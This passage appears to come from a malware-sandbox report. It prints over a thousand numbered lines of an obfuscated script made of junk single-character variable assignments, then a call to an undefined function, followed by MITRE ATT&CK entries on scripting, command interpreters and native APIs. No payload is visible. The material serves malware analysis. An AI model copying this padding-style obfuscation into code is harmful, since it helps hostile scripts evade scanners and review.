184	rymvpma = "J";
185	rymvpma = "F";
186	rymvpma = "D";
187	rymvpma = "M";
188	rymvpma = "B";
189	rymvpma = "U";
190	rymvpma = "T";
191	rymvpma = "W";
192	rymvpma = "W";
193	rymvpma = "Q";
194	rymvpma = "L";
195	rymvpma = "e";
196	rymvpma = "P";
197	rymvpma = "G";
198	rymvpma = "r";
199	rymvpma = "O";
200	rymvpma = "A";
201	rymvpma = "F";
202	rymvpma = "z";
203	rymvpma = "L";
204	rymvpma = "p";
205	rymvpma = "h";
206	rymvpma = "W";
207	rymvpma = "E";
208	rymvpma = "K";
209	rymvpma = "z";
210	rymvpma = "y";
211	rymvpma = "D";
212	rymvpma = "l";
213	rymvpma = "c";
214	rymvpma = "L";
215	rymvpma = "i";
216	rymvpma = "b";
217	cpifldb = "B";
218	cpifldb = "e";
219	cpifldb = "F";
220	zmrrxiw = "U";
221	zmrrxiw = "r";
222	zmrrxiw = "p";
223	zmrrxiw = "V";
224	zmrrxiw = "s";
225	zmrrxiw = "i";
226	zmrrxiw = "m";
227	zmrrxiw = "u";
228	zmrrxiw = "i";
229	zmrrxiw = "U";
230	zmrrxiw = "q";
231	zmrrxiw = "T";
232	zmrrxiw = "a";
233	zmrrxiw = "w";
234	zmrrxiw = "y";
235	zmrrxiw = "X";
236	zmrrxiw = "n";
237	zmrrxiw = "E";
238	zmrrxiw = "G";
239	zmrrxiw = "C";
240	zmrrxiw = "y";
241	zmrrxiw = "M";
242	zmrrxiw = "t";
243	zmrrxiw = "C";
244	zmrrxiw = "i";
245	zmrrxiw = "u";
246	zmrrxiw = "x";
247	zmrrxiw = "g";
248	zmrrxiw = "F";
249	zmrrxiw = "Z";
250	zmrrxiw = "G";
251	zmrrxiw = "Y";
252	zmrrxiw = "w";
253	zmrrxiw = "V";
254	zmrrxiw = "H";
255	zmrrxiw = "z";
256	zmrrxiw = "M";
257	zmrrxiw = "d";
258	zmrrxiw = "W";
259	zmrrxiw = "S";
260	frgkaug = "t";
261	frgkaug = "E";
262	frgkaug = "O";
263	bqixlqimn = "i";
264	bqixlqimn = "E";
265	bqixlqimn = "L";
266	bqixlqimn = "z";
267	bqixlqimn = "I";
268	bqixlqimn = "r";
269	bqixlqimn = "q";
270	bqixlqimn = "E";
271	bqixlqimn = "w";
272	bqixlqimn = "x";
273	bqixlqimn = "I";
274	bqixlqimn = "n";
275	bqixlqimn = "a";
276	bqixlqimn = "g";
277	bqixlqimn = "n";
278	bqixlqimn = "L";
279	bqixlqimn = "n";
280	bqixlqimn = "f";
281	bqixlqimn = "r";
282	bqixlqimn = "X";
283	bqixlqimn = "f";
284	bqixlqimn = "O";
285	bqixlqimn = "p";
286	bqixlqimn = "F";
287	bqixlqimn = "A";
288	bqixlqimn = "L";
289	bqixlqimn = "o";
290	yrrhakw = "l";
291	yrrhakw = "F";
292	yrrhakw = "E";
293	yrrhakw = "/";
294	gzrmdvrxl = "b";
295	gzrmdvrxl = "U";
296	gzrmdvrxl = "c";
297	gzrmdvrxl = "O";
298	gzrmdvrxl = "j";
299	gzrmdvrxl = "o";
300	gzrmdvrxl = "E";
301	gzrmdvrxl = "q";
302	gzrmdvrxl = "H";
303	gzrmdvrxl = "b";
304	gzrmdvrxl = "C";
305	gzrmdvrxl = "m";
306	gzrmdvrxl = "m";
307	gzrmdvrxl = "c";
308	gzrmdvrxl = "S";
309	gzrmdvrxl = "j";
310	gzrmdvrxl = "t";
311	gzrmdvrxl = "R";
312	gzrmdvrxl = "j";
313	gzrmdvrxl = "y";
314	gzrmdvrxl = "E";
315	gzrmdvrxl = "E";
316	gzrmdvrxl = "l";
317	gzrmdvrxl = "p";
318	gzrmdvrxl = "w";
319	gzrmdvrxl = "J";
320	gzrmdvrxl = "h";
321	gzrmdvrxl = "N";
322	gzrmdvrxl = "s";
323	gzrmdvrxl = "c";
324	gzrmdvrxl = "Q";
325	gzrmdvrxl = "c";
326	gzrmdvrxl = "S";
327	gzrmdvrxl = "S";
328	gzrmdvrxl = "U";
329	gzrmdvrxl = "I";
330	gzrmdvrxl = "D";
331	gzrmdvrxl = "V";
332	gzrmdvrxl = "x";
333	gzrmdvrxl = "%";
334	tmafamf = "E";
335	tmafamf = "p";
336	tmafamf = "U";
337	tmafamf = "k";
338	tmafamf = "G";
339	tmafamf = "W";
340	tmafamf = "Q";
341	tmafamf = "p";
342	tmafamf = "Q";
343	tmafamf = "K";
344	tmafamf = "f";
345	tmafamf = "W";
346	tmafamf = "M";
347	tmafamf = "k";
348	tmafamf = "z";
349	tmafamf = "E";
350	tmafamf = "E";
351	tmafamf = "C";
352	tmafamf = "u";
353	tmafamf = "f";
354	tmafamf = "D";
355	tmafamf = "G";
356	tmafamf = "Z";
357	tmafamf = "Q";
358	tmafamf = "G";
359	tmafamf = "X";
360	tmafamf = "B";
361	tmafamf = "t";
362	tmafamf = "W";
363	tmafamf = "c";
364	tmafamf = "d";
365	tmafamf = "x";
366	tmafamf = "B";
367	tmafamf = "F";
368	tmafamf = "I";
369	tmafamf = "t";
370	tmafamf = "j";
371	tmafamf = "U";
372	ovpwu = "n";
373	ovpwu = "A";
374	ovpwu = "l";
375	ovpwu = "u";
376	ovpwu = "T";
377	ovpwu = "O";
378	ovpwu = "b";
379	ovpwu = "B";
380	ovpwu = "t";
381	ovpwu = "c";
382	ovpwu = "u";
383	ovpwu = "8";
384	dhwvay = "C";
385	dhwvay = "Q";
386	dhwvay = "I";
387	dhwvay = "L";
388	dhwvay = "O";
389	dhwvay = "o";
390	dhwvay = "Y";
391	dhwvay = "M";
392	dhwvay = "L";
393	dhwvay = "w";
394	dhwvay = "Q";
395	dhwvay = "p";
396	dhwvay = "y";
397	dhwvay = "F";
398	dhwvay = "u";
399	dhwvay = "j";
400	dhwvay = "w";
401	dhwvay = "z";
402	dhwvay = "i";
403	dhwvay = "z";
404	dhwvay = "C";
405	dhwvay = "C";
406	dhwvay = "t";
407	dhwvay = "E";
408	dhwvay = "K";
409	dhwvay = "A";
410	dhwvay = "m";
411	dhwvay = "f";
412	dhwvay = "t";
413	dhwvay = "J";
414	dhwvay = "S";
415	dhwvay = "u";
416	dhwvay = "k";
417	dhwvay = "v";
418	dhwvay = "f";
419	dhwvay = "s";
420	dhwvay = "P";
421	dhwvay = "V";
422	dhwvay = "c";
423	dhwvay = "A";
424	dhwvay = "j";
425	focthebzt = "M";
426	focthebzt = "v";
427	focthebzt = "E";
428	porpuo = "u";
429	porpuo = "e";
430	porpuo = "Z";
431	porpuo = "z";
432	porpuo = "S";
433	porpuo = "T";
434	porpuo = "g";
435	porpuo = "J";
436	porpuo = "d";
437	porpuo = "i";
438	porpuo = "Q";
439	porpuo = "H";
440	porpuo = "g";
441	porpuo = "b";
442	porpuo = "f";
443	porpuo = "H";
444	porpuo = "s";
445	porpuo = "R";
446	porpuo = "p";
447	porpuo = "L";
448	porpuo = "k";
449	porpuo = "v";
450	porpuo = "J";
451	porpuo = "k";
452	porpuo = "C";
453	porpuo = "h";
454	porpuo = "T";
455	porpuo = "Y";
456	porpuo = "K";
457	porpuo = "S";
458	porpuo = "l";
459	porpuo = "d";
460	porpuo = "F";
461	porpuo = "b";
462	porpuo = "b";
463	porpuo = "j";
464	porpuo = "c";
465	porpuo = "Q";
466	porpuo = "A";
467	porpuo = " ";
468	wtaedrm = "V";
469	wtaedrm = "U";
470	wtaedrm = "W";
471	wtaedrm = "V";
472	wtaedrm = "N";
473	wtaedrm = "d";
474	wtaedrm = "a";
475	wtaedrm = "Z";
476	wtaedrm = "B";
477	wtaedrm = "V";
478	wtaedrm = "H";
479	wtaedrm = "w";
480	wtaedrm = "r";
481	wtaedrm = "u";
482	wtaedrm = "v";
483	wtaedrm = "K";
484	wtaedrm = "S";
485	wtaedrm = "n";
486	wtaedrm = "J";
487	wtaedrm = "w";
488	wtaedrm = "d";
489	wtaedrm = "r";
490	jbeysrqtt = "p";
491	jbeysrqtt = "K";
492	jbeysrqtt = "p";
493	jbeysrqtt = "a";
494	jbeysrqtt = "s";
495	jbeysrqtt = "i";
496	jbeysrqtt = "r";
497	jbeysrqtt = "n";
498	jbeysrqtt = "G";
499	jbeysrqtt = "G";
500	jbeysrqtt = "Z";
501	jbeysrqtt = "P";
502	jbeysrqtt = "D";
503	jbeysrqtt = "B";
504	jbeysrqtt = "e";
505	jbeysrqtt = "k";
506	jbeysrqtt = "m";
507	jbeysrqtt = "o";
508	jbeysrqtt = "W";
509	kuzbcot = "W";
510	kuzbcot = "v";
511	kuzbcot = "m";
512	kuzbcot = "v";
513	kuzbcot = "k";
514	kuzbcot = "v";
515	kuzbcot = "v";
516	kuzbcot = "z";
517	kuzbcot = "H";
518	kuzbcot = "t";
519	kuzbcot = "h";
520	kuzbcot = "I";
521	kuzbcot = "b";
522	kuzbcot = "I";
523	kuzbcot = "J";
524	kuzbcot = "D";
525	kuzbcot = "n";
526	kuzbcot = "C";
527	kuzbcot = "Y";
528	kuzbcot = "x";
529	kuzbcot = "w";
530	kuzbcot = "C";
531	kuzbcot = "k";
532	kuzbcot = "Z";
533	kuzbcot = "j";
534	kuzbcot = "s";
535	kuzbcot = "S";
536	kuzbcot = "U";
537	kuzbcot = "f";
538	hreojn = "N";
539	hreojn = "H";
540	hreojn = "T";
541	hreojn = "q";
542	hreojn = "t";
543	hreojn = "k";
544	hreojn = "o";
545	hreojn = "K";
546	hreojn = "R";
547	hreojn = "K";
548	hreojn = "u";
549	hreojn = "k";
550	hreojn = "x";
551	hreojn = "q";
552	hreojn = "z";
553	hreojn = "J";
554	hreojn = "C";
555	hreojn = "l";
556	hreojn = "S";
557	hreojn = "H";
558	hreojn = "z";
559	hreojn = "W";
560	hreojn = "R";
561	hreojn = "g";
562	hreojn = "Q";
563	hreojn = "P";
564	hreojn = "n";
565	hreojn = "h";
566	hreojn = "w";
567	hreojn = "G";
568	hreojn = "j";
569	hreojn = "C";
570	hreojn = "q";
571	hreojn = "x";
572	hreojn = "C";
573	hreojn = ":";
574	xqreibmj = "l";
575	xqreibmj = "S";
576	xqreibmj = "M";
577	xqreibmj = "V";
578	xqreibmj = "j";
579	xqreibmj = "B";
580	xqreibmj = "A";
581	xqreibmj = "U";
582	xqreibmj = "V";
583	xqreibmj = "v";
584	xqreibmj = "H";
585	xqreibmj = "E";
586	xqreibmj = "b";
587	xqreibmj = "e";
588	xqreibmj = "e";
589	xqreibmj = "W";
590	xqreibmj = "b";
591	xqreibmj = "C";
592	xqreibmj = "C";
593	xqreibmj = "j";
594	xqreibmj = "v";
595	xqreibmj = "U";
596	xqreibmj = "H";
597	xqreibmj = "p";
598	xqreibmj = "k";
599	xqreibmj = "G";
600	xqreibmj = "x";
601	xqreibmj = "A";
602	xqreibmj = "w";
603	xqreibmj = "H";
604	xqreibmj = "u";
605	xqreibmj = "s";
606	xqreibmj = "c";
607	xqreibmj = "w";
608	xqreibmj = "O";
609	xqreibmj = "R";
610	xqreibmj = "q";
611	ojvrmyiee = "M";
612	ojvrmyiee = "g";
613	ojvrmyiee = "N";
614	ojvrmyiee = "C";
615	ojvrmyiee = "z";
616	ojvrmyiee = "Y";
617	ojvrmyiee = "r";
618	ojvrmyiee = "X";
619	ojvrmyiee = "I";
620	ojvrmyiee = "X";
621	ojvrmyiee = "m";
622	ojvrmyiee = "i";
623	ojvrmyiee = "f";
624	ojvrmyiee = "y";
625	ojvrmyiee = "Z";
626	ojvrmyiee = "R";
627	ojvrmyiee = "Q";
628	ojvrmyiee = "P";
629	ojvrmyiee = "S";
630	ojvrmyiee = "N";
631	ojvrmyiee = "x";
632	ojvrmyiee = "Q";
633	ojvrmyiee = "z";
634	ojvrmyiee = "u";
635	ojvrmyiee = "W";
636	ojvrmyiee = "f";
637	ojvrmyiee = "Y";
638	ojvrmyiee = "q";
639	ojvrmyiee = "-";
640	eszjnq = "C";
641	eszjnq = "n";
642	eszjnq = "d";
643	eszjnq = "j";
644	eszjnq = "j";
645	eszjnq = "d";
646	eszjnq = "R";
647	eszjnq = "q";
648	eszjnq = "L";
649	eszjnq = "e";
650	eszjnq = "A";
651	eszjnq = "A";
652	eszjnq = "E";
653	eszjnq = "y";
654	eszjnq = "I";
655	eszjnq = "v";
656	eszjnq = "S";
657	eszjnq = "r";
658	eszjnq = "I";
659	eszjnq = "L";
660	eszjnq = "O";
661	eszjnq = "N";
662	eszjnq = "E";
663	eszjnq = "m";
664	eszjnq = "U";
665	eszjnq = "C";
666	eszjnq = "y";
667	eszjnq = "i";
668	eszjnq = "h";
669	eszjnq = "r";
670	eszjnq = "T";
671	hwtsimwke = "B";
672	hwtsimwke = "s";
673	hwtsimwke = "I";
674	hwtsimwke = "B";
675	hwtsimwke = "D";
676	hwtsimwke = "v";
677	hwtsimwke = "w";
678	hwtsimwke = "x";
679	hwtsimwke = "c";
680	hwtsimwke = "p";
681	hwtsimwke = "r";
682	hwtsimwke = "y";
683	hwtsimwke = "z";
684	hwtsimwke = "Y";
685	hwtsimwke = "j";
686	hwtsimwke = "G";
687	hwtsimwke = "z";
688	hwtsimwke = "i";
689	hwtsimwke = "a";
690	hwtsimwke = "O";
691	hwtsimwke = "C";
692	hwtsimwke = "K";
693	mkmkhixky = "r";
694	mkmkhixky = "j";
695	mkmkhixky = "x";
696	mkmkhixky = "s";
697	mkmkhixky = "d";
698	rjxpxyef = "J";
699	rjxpxyef = "F";
700	rjxpxyef = "R";
701	rjxpxyef = "Z";
702	rjxpxyef = "_";
703	lhtul = "N";
704	lhtul = "L";
705	lhtul = "W";
706	lhtul = "W";
707	lhtul = "e";
708	lhtul = "H";
709	lhtul = "w";
710	lhtul = "O";
711	lhtul = "e";
712	lhtul = "B";
713	lhtul = "X";
714	lhtul = "A";
715	lhtul = "V";
716	lhtul = "O";
717	lhtul = "C";
718	lhtul = "a";
719	lhtul = "X";
720	lhtul = "x";
721	lhtul = "K";
722	lhtul = "O";
723	lhtul = "J";
724	lhtul = "L";
725	lhtul = "O";
726	lhtul = "A";
727	lhtul = "H";
728	lhtul = "v";
729	lhtul = "h";
730	lhtul = "C";
731	lhtul = "u";
732	lhtul = "F";
733	lhtul = "W";
734	lhtul = "x";
735	ismfwqy = "I";
736	ismfwqy = "o";
737	ismfwqy = "N";
738	ismfwqy = "U";
739	ismfwqy = "0";
740	qxjasp = "e";
741	qxjasp = "o";
742	qxjasp = "F";
743	qxjasp = "m";
744	qxjasp = "D";
745	qxjasp = "D";
746	qxjasp = "h";
747	qxjasp = "B";
748	qxjasp = "q";
749	qxjasp = "s";
750	qxjasp = "d";
751	qxjasp = "E";
752	qxjasp = "g";
753	qxjasp = "r";
754	qxjasp = "J";
755	qxjasp = "x";
756	qxjasp = "b";
757	qxjasp = "D";
758	qxjasp = "B";
759	qxjasp = "J";
760	qxjasp = "J";
761	qxjasp = "W";
762	qxjasp = ".";
763	mexhckip = "N";
764	mexhckip = "R";
765	mexhckip = "v";
766	mexhckip = "g";
767	mexhckip = "i";
768	mexhckip = "v";
769	mexhckip = "S";
770	mexhckip = "q";
771	mexhckip = "X";
772	mexhckip = "U";
773	mexhckip = "1";
774	dwjluiyh = "j";
775	dwjluiyh = "o";
776	dwjluiyh = "M";
777	dwjluiyh = "V";
778	dwjluiyh = "Y";
779	dwjluiyh = "g";
780	dwjluiyh = "v";
781	dwjluiyh = "A";
782	dwjluiyh = "b";
783	dwjluiyh = "A";
784	dwjluiyh = "A";
785	dwjluiyh = "V";
786	dwjluiyh = "G";
787	dwjluiyh = "C";
788	dwjluiyh = "t";
789	dwjluiyh = "k";
790	dwjluiyh = "J";
791	dwjluiyh = "E";
792	dwjluiyh = "d";
793	dwjluiyh = "V";
794	dwjluiyh = "E";
795	dwjluiyh = "h";
796	dwjluiyh = "t";
797	oegcvdn = "C";
798	oegcvdn = "N";
799	oegcvdn = "M";
800	oegcvdn = "G";
801	oegcvdn = "i";
802	oegcvdn = "b";
803	oegcvdn = "A";
804	oegcvdn = "H";
805	oegcvdn = "N";
806	oegcvdn = "A";
807	oegcvdn = "M";
808	oegcvdn = "I";
809	oegcvdn = "X";
810	oegcvdn = "w";
811	oegcvdn = "k";
812	oegcvdn = "G";
813	oegcvdn = "s";
814	oegcvdn = "h";
815	btuog = "v";
816	btuog = "u";
817	btuog = "Y";
818	vqxaxfc = "I";
819	vqxaxfc = "i";
820	vqxaxfc = "A";
821	vqxaxfc = "A";
822	vqxaxfc = "B";
823	vqxaxfc = "y";
824	vqxaxfc = "R";
825	vqxaxfc = "A";
826	vqxaxfc = "A";
827	vqxaxfc = "I";
828	vqxaxfc = "a";
829	vqxaxfc = "O";
830	vqxaxfc = "Z";
831	vqxaxfc = "g";
832	vqxaxfc = "n";
833	vqxaxfc = "x";
834	vqxaxfc = "t";
835	vqxaxfc = "F";
836	vqxaxfc = "Q";
837	vqxaxfc = "D";
838	vqxaxfc = "s";
839	vqxaxfc = "W";
840	vqxaxfc = "M";
841	vqxaxfc = "&";
842	omtlacflj = "z";
843	omtlacflj = "X";
844	omtlacflj = "A";
845	omtlacflj = "P";
846	omtlacflj = "T";
847	omtlacflj = "r";
848	omtlacflj = "g";
849	vkbgusu = "W";
850	vkbgusu = "U";
851	vkbgusu = "u";
852	vkbgusu = "R";
853	vkbgusu = "L";
854	vkbgusu = "S";
855	vkbgusu = "j";
856	vkbgusu = "i";
857	vkbgusu = "y";
858	vkbgusu = "P";
859	vkbgusu = "p";
860	adkaf = "v";
861	adkaf = "r";
862	adkaf = "P";
863	adkaf = "S";
864	adkaf = "d";
865	adkaf = "d";
866	adkaf = "i";
867	adkaf = "Q";
868	adkaf = "n";
869	adkaf = "D";
870	adkaf = "D";
871	adkaf = "u";
872	adkaf = "y";
873	adkaf = "w";
874	adkaf = "N";
875	adkaf = "N";
876	adkaf = "p";
877	adkaf = "o";
878	adkaf = "o";
879	adkaf = "p";
880	adkaf = "G";
881	adkaf = "k";
882	adkaf = "d";
883	adkaf = "c";
884	adkaf = "3";
885	wqvvtruz = "l";
886	wqvvtruz = "I";
887	mipdjwdf = "M";
888	mipdjwdf = "D";
889	mipdjwdf = "y";
890	mipdjwdf = "u";
891	mipdjwdf = "l";
892	mipdjwdf = "m";
893	mipdjwdf = "A";
894	mipdjwdf = "a";
895	mipdjwdf = "Z";
896	mipdjwdf = "C";
897	mipdjwdf = "V";
898	mipdjwdf = "n";
899	mipdjwdf = "f";
900	mipdjwdf = "O";
901	mipdjwdf = "l";
902	mipdjwdf = "d";
903	mipdjwdf = "d";
904	mipdjwdf = "S";
905	mipdjwdf = "f";
906	mipdjwdf = "a";
907	mipdjwdf = "y";
908	mipdjwdf = "q";
909	mipdjwdf = "C";
910	mipdjwdf = "X";
911	mipdjwdf = "V";
912	mipdjwdf = "P";
913	mipdjwdf = "B";
914	mipdjwdf = "X";
915	mipdjwdf = "t";
916	mipdjwdf = "X";
917	mipdjwdf = "A";
918	mipdjwdf = "X";
919	mipdjwdf = "g";
920	mipdjwdf = "i";
921	mipdjwdf = "I";
922	mipdjwdf = "P";
923	enpgarvc = "O";
924	enpgarvc = "K";
925	enpgarvc = "y";
926	enpgarvc = "O";
927	enpgarvc = "L";
928	enpgarvc = "k";
929	enpgarvc = "A";
930	enpgarvc = "O";
931	enpgarvc = "Q";
932	enpgarvc = "v";
933	enpgarvc = "w";
934	enpgarvc = "H";
935	enpgarvc = "B";
936	enpgarvc = "e";
937	enpgarvc = "j";
938	enpgarvc = "e";
939	enpgarvc = "W";
940	enpgarvc = "O";
941	enpgarvc = "B";
942	enpgarvc = "v";
943	enpgarvc = "d";
944	enpgarvc = "k";
945	enpgarvc = "J";
946	enpgarvc = "D";
947	enpgarvc = "q";
948	enpgarvc = "b";
949	enpgarvc = "n";
950	zcqombp = "o";
951	zcqombp = "K";
952	zcqombp = "g";
953	zcqombp = "s";
954	zcqombp = "w";
955	lghiqvuo = "L";
956	lghiqvuo = "t";
957	lghiqvuo = "A";
958	lghiqvuo = "h";
959	lghiqvuo = "F";
960	lghiqvuo = "J";
961	lghiqvuo = "B";
962	lghiqvuo = "q";
963	lghiqvuo = "T";
964	lghiqvuo = "z";
965	lghiqvuo = "w";
966	lghiqvuo = "p";
967	lghiqvuo = "X";
968	lghiqvuo = "I";
969	lghiqvuo = "n";
970	lghiqvuo = "J";
971	lghiqvuo = "R";
972	lghiqvuo = "u";
973	lghiqvuo = "f";
974	lghiqvuo = "V";
975	lghiqvuo = "w";
976	lghiqvuo = "X";
977	lghiqvuo = "X";
978	lghiqvuo = "f";
979	lghiqvuo = "S";
980	lghiqvuo = "x";
981	lghiqvuo = "v";
982	lghiqvuo = "E";
983	lghiqvuo = "C";
984	lghiqvuo = "\"";
985	wzayrug = "B";
986	wzayrug = "W";
987	wzayrug = "f";
988	wzayrug = "M";
989	wzayrug = "A";
990	wzayrug = "c";
991	wzayrug = "t";
992	wzayrug = "T";
993	wzayrug = "V";
994	wzayrug = "y";
995	wzayrug = "v";
996	wzayrug = "V";
997	wzayrug = "x";
998	wzayrug = "l";
999	wzayrug = "M";
1000	wzayrug = "I";
1001	wzayrug = "i";
1002	wzayrug = "k";
1003	wzayrug = "w";
1004	wzayrug = "i";
1005	wzayrug = "A";
1006	wzayrug = "V";
1007	wzayrug = "t";
1008	wzayrug = "I";
1009	wzayrug = "P";
1010	wzayrug = "Q";
1011	wzayrug = "A";
1012	wzayrug = "s";
1013	nevnbh = "L";
1014	nevnbh = "k";
1015	nevnbh = "t";
1016	nevnbh = "p";
1017	nevnbh = "Z";
1018	nevnbh = "U";
1019	nevnbh = "c";
1020	nevnbh = "E";
1021	nevnbh = "V";
1022	nevnbh = "R";
1023	nevnbh = "j";
1024	nevnbh = "i";
1025	nevnbh = "x";
1026	nevnbh = "m";
1027	nevnbh = "l";
1028	nevnbh = "R";
1029	nevnbh = "r";
1030	nevnbh = "R";
1031	nevnbh = "P";
1032	nevnbh = "D";
1033	nevnbh = "U";
1034	nevnbh = "h";
1035	nevnbh = "j";
1036	nevnbh = "M";
1037	nevnbh = "C";
1038	nevnbh = "J";
1039	nevnbh = "e";
1040	nevnbh = "x";
1041	nevnbh = "O";
1042	nevnbh = "D";
1043	nevnbh = "L";
1044	nevnbh = "C";
1045	nevnbh = "v";
1046	nevnbh = "R";
1047	koyzciri = "B";
1048	koyzciri = "x";
1049	koyzciri = "l";
1050	koyzciri = "X";
1051	koyzciri = "t";
1052	koyzciri = "r";
1053	koyzciri = "j";
1054	koyzciri = "C";
1055	koyzciri = "z";
1056	koyzciri = "b";
1057	koyzciri = "a";
1058	koyzciri = "B";
1059	koyzciri = "R";
1060	koyzciri = "X";
1061	koyzciri = "A";
1062	koyzciri = "q";
1063	koyzciri = "j";
1064	koyzciri = "O";
1065	koyzciri = "b";
1066	koyzciri = "q";
1067	koyzciri = "R";
1068	koyzciri = "n";
1069	koyzciri = "A";
1070	koyzciri = "C";
1071	tksgxomcn = "L";
1072	tksgxomcn = "h";
1073	tksgxomcn = "Z";
1074	tksgxomcn = "m";
1075	tksgxomcn = "R";
1076	tksgxomcn = "m";
1077	tksgxomcn = "L";
1078	tksgxomcn = "a";
1079	tksgxomcn = "b";
1080	tksgxomcn = "I";
1081	tksgxomcn = "X";
1082	tksgxomcn = "O";
1083	tksgxomcn = "m";
1084	tksgxomcn = "j";
1085	tksgxomcn = "C";
1086	tksgxomcn = "R";
1087	tksgxomcn = "P";
1088	tksgxomcn = "m";
1089	tksgxomcn = "x";
1090	tksgxomcn = "v";
1091	tksgxomcn = "D";
1092	tksgxomcn = "A";
1093	tksgxomcn = "w";
1094	tksgxomcn = "G";
1095	tksgxomcn = "a";
1096	tksgxomcn = "O";
1097	tksgxomcn = "f";
1098	tksgxomcn = "B";
1099	tksgxomcn = "p";
1100	tksgxomcn = "R";
1101	tksgxomcn = "o";
1102	tksgxomcn = "p";
1103	tksgxomcn = "Z";
1104	tksgxomcn = "j";
1105	tksgxomcn = "5";
1106	byanzb = "d";
1107	byanzb = "J";
1108	byanzb = "d";
1109	byanzb = "q";
1110	byanzb = "E";
1111	byanzb = "G";
1112	byanzb = "w";
1113	byanzb = "e";
1114	byanzb = "z";
1115	byanzb = "T";
1116	byanzb = "N";
1117	byanzb = "u";
1118	byanzb = "q";
1119	byanzb = "i";
1120	byanzb = "S";
1121	byanzb = "w";
1122	byanzb = "p";
1123	byanzb = "n";
1124	byanzb = "D";
1125	byanzb = "G";
1126	byanzb = "b";
1127	byanzb = "z";
1128	byanzb = "O";
1129	byanzb = "H";
1130	byanzb = "l";
1131	byanzb = "x";
1132	byanzb = "e";
1133	byanzb = "Z";
1134	byanzb = "E";
1135	byanzb = "T";
1136	byanzb = "c";
1137	byanzb = "A";
1138	byanzb = "e";
1139	qhdjsyq = "m";
1140	qhdjsyq = "d";
1141	qhdjsyq = "b";
1142	qhdjsyq = "t";
1143	qhdjsyq = "N";
1144	qhdjsyq = "E";
1145	qhdjsyq = "S";
1146	qhdjsyq = "y";
1147	qhdjsyq = "e";
1148	qhdjsyq = "q";
1149	qhdjsyq = "p";
1150	qhdjsyq = "O";
1151	qhdjsyq = "N";
1152	qhdjsyq = "O";
1153	qhdjsyq = "r";
1154	qhdjsyq = "v";
1155	qhdjsyq = "g";
1156	qhdjsyq = "T";
1157	qhdjsyq = "g";
1158	qhdjsyq = "u";
1159	qhdjsyq = "o";
1160	qhdjsyq = "n";
1161	qhdjsyq = "u";
1162	upkgbgy = "Z";
1163	upkgbgy = "R";
1164	upkgbgy = "O";
1165	upkgbgy = "p";
1166	upkgbgy = "I";
1167	upkgbgy = "X";
1168	upkgbgy = "g";
1169	upkgbgy = "n";
1170	upkgbgy = "C";
1171	upkgbgy = "p";
1172	upkgbgy = "I";
1173	upkgbgy = "a";
1174	bfkcmpyka = "U";
1175	bfkcmpyka = "y";
1176	bfkcmpyka = "t";
1177	bfkcmpyka = "Y";
1178	bfkcmpyka = "j";
1179	bfkcmpyka = "n";
1180	bfkcmpyka = "G";
1181	bfkcmpyka = "s";
1182	bfkcmpyka = "w";
1183	bfkcmpyka = "J";
1184	bfkcmpyka = "y";
1185	bfkcmpyka = "b";
1186	bfkcmpyka = "p";
1187	bfkcmpyka = "h";
1188	bfkcmpyka = "E";
1189	bfkcmpyka = "X";
1190	bfkcmpyka = "E";
1191	bfkcmpyka = "K";
1192	bfkcmpyka = "f";
1193	bfkcmpyka = "k";
1194	bfkcmpyka = "N";
1195	bfkcmpyka = "M";
1196	bfkcmpyka = "y";
1197	bfkcmpyka = "S";
1198	bfkcmpyka = "O";
1199	bfkcmpyka = "s";
1200	bfkcmpyka = "q";
1201	bfkcmpyka = "v";
1202	bfkcmpyka = "P";
1203	bfkcmpyka = "y";
1204	bfkcmpyka = "i";
1205	bfkcmpyka = "v";
1206	bfkcmpyka = "L";
1207	bfkcmpyka = "m";
1208	bfkcmpyka = "b";
1209	bfkcmpyka = "s";
1210	bfkcmpyka = "i";
1211	bfkcmpyka = "y";
1212	bfkcmpyka = "q";
1213	bfkcmpyka = "O";
1214	bfkcmpyka = "k";
1215	bfkcmpyka = "z";
1216	bfkcmpyka = "t";
1217	bfkcmpyka = "Q";
1218	mswjxs = "e";
1219	mswjxs = "E";
1220	mswjxs = "o";
1221	mswjxs = "t";
1222	mswjxs = "e";
1223	mswjxs = "n";
1224	mswjxs = "d";
1225	mswjxs = "a";
1226	mswjxs = "n";
1227	mswjxs = "f";
1228	mswjxs = "V";
1229	mswjxs = "E";
1230	mswjxs = "A";
1231	mswjxs = "Q";
1232	mswjxs = "p";
1233	mswjxs = "d";
1234	mswjxs = "T";
1235	mswjxs = "r";
1236	mswjxs = "v";
1237	mswjxs = "R";
1238	mswjxs = "i";
1239	mswjxs = "z";
1240	mswjxs = "G";
1241	mswjxs = "y";
1242	mswjxs = "v";
1243	mswjxs = "B";
1244	mswjxs = "S";
1245	mswjxs = "F";
1246	mswjxs = "U";
1247	mswjxs = "g";
1248	mswjxs = "D";
1249	mswjxs = "D";
1250	mswjxs = "y";
1251	mswjxs = "s";
1252	mswjxs = "u";
1253	mswjxs = "i";
1254	modhulr = "a";
1255	modhulr = "G";
1256	modhulr = "n";
1257	modhulr = "w";
1258	modhulr = "G";
1259	modhulr = "d";
1260	modhulr = "I";
1261	modhulr = "B";
1262	modhulr = "e";
1263	modhulr = "M";
1264	modhulr = "H";
1265	modhulr = "G";
1266	modhulr = "N";
1267	sgjakwxoc ( );	sgjakwxoc() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

